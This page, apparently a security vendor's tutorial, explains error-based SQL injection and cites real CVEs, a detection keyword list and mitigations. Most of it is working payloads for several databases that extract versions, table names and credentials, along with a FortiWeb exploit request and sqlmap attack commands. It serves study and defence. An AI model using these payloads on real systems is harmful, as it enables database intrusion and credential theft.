Triggers database error messages that leak schema names, table names, or data values in the HTTP response.
TL;DR
CONVERT(int, data) type coercion errorsCAST(data AS int) to trigger informative cast failuresError-based SQL injection forces the database to generate a verbose error message that contains query result data. Instead of extracting data through the query's result set (union-based) or inferring it through behavioral differences (blind), error-based injection reads extracted data directly from the error string that the database engine returns to the application.
This technique belongs to the in-band SQLi category under CWE-89. The precondition is strict: the application must reflect raw database error messages in its HTTP response. This behavior is common in legacy PHP applications with display_errors = On, development and staging environments, and applications that catch exceptions and echo the error string for debugging convenience. Modern production deployments with proper error handling are immune to error-based extraction — though they remain vulnerable to other injection variants.
Error-based functions are database-specific. MySQL uses XPath expression errors via EXTRACTVALUE() and UPDATEXML(). MSSQL exploits implicit type conversion failures via CONVERT() and CAST(). PostgreSQL triggers cast errors via CAST(). Oracle uses the CTXSYS.DRITHSX.SN() context index function. Each function embeds target data in the error message, which the application then reflects to the attacker in the HTTP response body.
The core principle is exploiting any database function that includes user-controlled data in its error output. The attacker injects a call to such a function, passes the target query as an argument, and reads the result from the error message.
The 0x7e hex value is the tilde character (~). It serves as a delimiter that makes the extracted data visually distinct within the error string, simplifying parsing.
MySQL — EXTRACTVALUE (MySQL 5.1+, most reliable):
-- Extract database version
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -
-- Extract current user and database
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(user(),'@',database())),0x7e))-- -
-- Extract first table name
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,1),0x7e))-- -
-- Extract password from users table
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e))-- -The EXTRACTVALUE error returns up to 32 characters. For longer values, use SUBSTRING() with offset iteration.
MySQL — UPDATEXML (when EXTRACTVALUE is filtered):
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user()),0x7e),1)-- -
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT(username,':',password) FROM users LIMIT 1),0x7e),1)-- -MySQL — FLOOR/RAND grouping technique (when both XPath functions are blocked):
' AND (SELECT 1 FROM(
SELECT COUNT(*),CONCAT(
(SELECT database()),0x3a,FLOOR(RAND(0)*2)
)x FROM information_schema.tables GROUP BY x
)a)-- -This technique exploits a race condition in MySQL's GROUP BY evaluation. The error message reads: ERROR 1062: Duplicate entry 'target_database:1' for key 'group_key'. The target data appears before the colon in the duplicate entry string.
| Variant | Function | DB Engine | Error Type |
|---|---|---|---|
| XPath extraction | EXTRACTVALUE(1, CONCAT(0x7e, data, 0x7e)) | MySQL ≥5.1 | XPATH syntax error |
| XPath alternative | UPDATEXML(1, CONCAT(0x7e, data, 0x7e), 1) | MySQL ≥5.1 | XPATH syntax error |
| GROUP BY/FLOOR | COUNT(*) + FLOOR(RAND(0)*2) GROUP BY | MySQL | Duplicate entry error |
| Type coercion | CONVERT(int, data) | MSSQL | Conversion failed |
| Type coercion | CAST(data AS int) | PostgreSQL | Cast failure |
| Type coercion | CAST(data AS int) | MSSQL | Type conversion error |
| Context index | CTXSYS.DRITHSX.SN(user, data) | Oracle | ORA error |
| TO_NUMBER | TO_NUMBER(data) | Oracle | invalid number |
-- MSSQL — CONVERT type coercion (most reliable MSSQL error-based)
-- Error: "Conversion failed when converting the nvarchar value 'admin' to data type int."
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
' AND 1=CONVERT(int,(SELECT TOP 1 username FROM users))--
' AND 1=CONVERT(int,CONCAT(SYSTEM_USER,':',@@version))--
-- MSSQL — CAST alternative
' AND 1=CAST((SELECT TOP 1 table_name FROM information_schema.tables) AS int)---- PostgreSQL — CAST integer conversion error
-- Error: "invalid input syntax for type integer: "PostgreSQL 14.2""
' AND 1=CAST((SELECT version()) AS int)--
' AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS int)--
' AND 1=(SELECT CAST(usename AS int) FROM pg_catalog.pg_user LIMIT 1)---- Oracle — CTXSYS DRITHSX function (requires Oracle Text component)
-- Error: "ORA-20000: Oracle Text error: DRG-11701: thesaurus <data> does not exist"
' AND 1=CTXSYS.DRITHSX.SN(user,(SELECT banner FROM v$version WHERE rownum=1))--
' AND 1=CTXSYS.DRITHSX.SN(user,(SELECT table_name FROM all_tables WHERE rownum=1))--
-- Oracle — TO_NUMBER (simpler, fewer dependencies)
' AND 1=TO_NUMBER((SELECT user FROM dual))--
' AND 1=TO_NUMBER((SELECT banner FROM v$version WHERE ROWNUM=1))--MSSQL's CONVERT(int, data) is the most reliable error-based technique on SQL Server because it requires no special functions or privileges beyond standard SELECT access. The error message format "Conversion failed when converting the nvarchar value 'X' to data type int" consistently embeds the target value X in the error string across all MSSQL versions.
CVE-2025-25257 — Fortinet FortiWeb Fabric Connector (CVSS 9.6, 2025) — Pre-authenticated SQL injection via the Authorization: Bearer HTTP header in /api/fabric/device/status. The function get_fabric_user_by_token() concatenated the bearer token directly into a MySQL query. Attackers used error-based and boolean-based techniques to enumerate the database, then chained INTO OUTFILE to write a Python .pth file into the site-packages directory for pre-auth root RCE. WatchTowr Labs confirmed active exploitation in July 2025. The payload is simple:
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))--CVE-2024-47849 — MediaWiki Cargo Extension (CVSS 9.8, October 2024) — Unauthenticated network-accessible SQL injection in the Cargo extension for MediaWiki (versions prior to 3.6.1). The extension's query builder did not properly neutralize SQL command special elements, allowing error-based extraction without authentication. Any MediaWiki installation with the Cargo extension before 3.6.1 was vulnerable.
CVE-2022-34265 — Django Trunc/Extract Function Injection — Django's Trunc(kind=user_input) and Extract(lookup_name=user_input) ORM functions did not validate the kind and lookup_name arguments before embedding them in the generated SQL. An attacker passing a crafted kind value could inject error-based payloads directly into date truncation expressions. Fixed in Django 4.1.2, 4.0.8, and 3.2.15 with allowlist validation.
HackerOne #531051 — Starbucks Enterprise Financial Database — SQL injection in Starbucks' application exposed enterprise accounting, financial, and payroll database access. Error messages from the production SQL Server instance revealed schema names and table structures, enabling systematic extraction via error-based techniques before exploitation was reported.
') and observe whether a database error message appears in the response body. The error must contain DBMS-specific keywords to confirm injection.AND EXTRACTVALUE(1,CONCAT(0x7e,version(),0x7e))-- on MySQL targets. Observe whether the version string appears in the error.AND 1=CONVERT(int,(SELECT 1))-- on MSSQL targets. Observe whether a type conversion error is reflected.You have an error in your SQL syntax, XPATH syntax errorConversion failed, Unclosed quotation mark, Invalid column nameinvalid input syntax for type, syntax error at or near, psycopg2.errorsORA-00933, ORA-01756, ORA-00907# sqlmap with error-based technique
sqlmap -u "https://target.com/search?q=test" \
--technique=E --batch --dbs
# With DBMS hint to focus error-based payloads
sqlmap -u "https://target.com/search?q=test" \
--technique=E --dbms=mysql --batch
# From Burp Suite saved request
sqlmap -r request.txt -p "id" --technique=E --batchError keyword list for response scanning (relevant for automated detection pipelines):
ERROR_KEYWORDS = [
# MySQL
"you have an error in your sql syntax",
"xpath syntax error",
"extractvalue",
"duplicate entry",
# MSSQL
"microsoft odbc",
"conversion failed",
"microsoft sql native",
"invalid column name",
"unclosed quotation mark",
# PostgreSQL
"psycopg2.errors",
"invalid input syntax for type",
"pg_exception",
"syntax error at or near",
# Oracle
"ora-00933",
"ora-01756",
"ora-00907",
# Generic Java
"java.sql.sqlexception",
"sqlexception",
]BreachVex detects error-based injection by scanning response bodies for DBMS-specific error keywords, then escalating to industry-standard offensive tooling for automated extraction once a probable injection is confirmed.
The most immediate mitigation for error-based injection is preventing the application from reflecting database errors in HTTP responses. Return generic messages to users; log verbose errors server-side.
# Python Flask — suppress DB errors from response
from flask import Flask, jsonify
import logging
app = Flask(__name__)
@app.errorhandler(Exception)
def handle_error(e):
# Log detailed error internally
app.logger.error(f"Database error: {e}")
# Return generic response to user
return jsonify({"error": "An internal error occurred"}), 500// Node.js Express — suppress DB errors
app.use((err, req, res, next) => {
console.error('Database error:', err.message); // log internally
res.status(500).json({ error: 'Internal server error' }); // generic response
});Suppressing error messages removes the error-based extraction channel but does not eliminate the underlying injection vulnerability. Parameterized queries are required to prevent injection itself.
# psycopg2 — SAFE
cursor.execute(
"SELECT * FROM users WHERE id = %s",
(user_id,)
)
# VULNERABLE — error messages would expose the injected value
cursor.execute(f"SELECT * FROM users WHERE id = '{user_id}'")// PHP PDO — SAFE
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$userId]);
// VULNERABLE
$result = mysqli_query($conn, "SELECT * FROM users WHERE id = '$userId'");Disabling error message display in the HTTP response converts an error-based SQLi into a blind SQLi. The injection vulnerability still exists — the attacker switches to time-based or boolean techniques. Error suppression is a detection mitigation, not a prevention control.
Error-based SQL injection forces the database to generate a verbose error message that contains query result data. The error is reflected in the HTTP response, allowing the attacker to extract database content without a successful query result set.
EXTRACTVALUE() and UPDATEXML() are the primary MySQL error-based functions. Both accept an XPath expression; injecting CONCAT(0x7e, data, 0x7e) into the XPath argument causes an XPath syntax error that leaks the data value in the error message.
MSSQL uses implicit type conversion errors. Injecting CONVERT(int, (SELECT data)) causes SQL Server to report a conversion error that includes the actual data value: 'Conversion failed when converting the nvarchar value 'admin' to data type int.'
Yes. PostgreSQL CAST errors work similarly to MSSQL CONVERT. Injecting CAST((SELECT version()) AS int) causes a cast failure that includes the version string in the error message.
The application must reflect database error messages in its HTTP response. This is most common in legacy PHP applications, development environments, and staging servers where error_reporting is enabled. Production applications with proper error handling are not vulnerable to error-based extraction.
CVE-2025-25257 (FortiWeb, CVSS 9.6) used error-based and boolean techniques via the Authorization header. CVE-2024-47849 (MediaWiki Cargo, CVSS 9.8) allowed unauthenticated error-based injection. CVE-2022-34265 (Django, affected versions 3.2/4.0/4.1) injected via Trunc(kind) and Extract(lookup_name) functions without validation.
The FLOOR/RAND grouping technique exploits a race condition in MySQL's GROUP BY processing. Combining FLOOR(RAND(0)*2) with COUNT(*) and GROUP BY in a subquery causes MySQL to emit an error that contains the target data concatenated with a duplicate key value.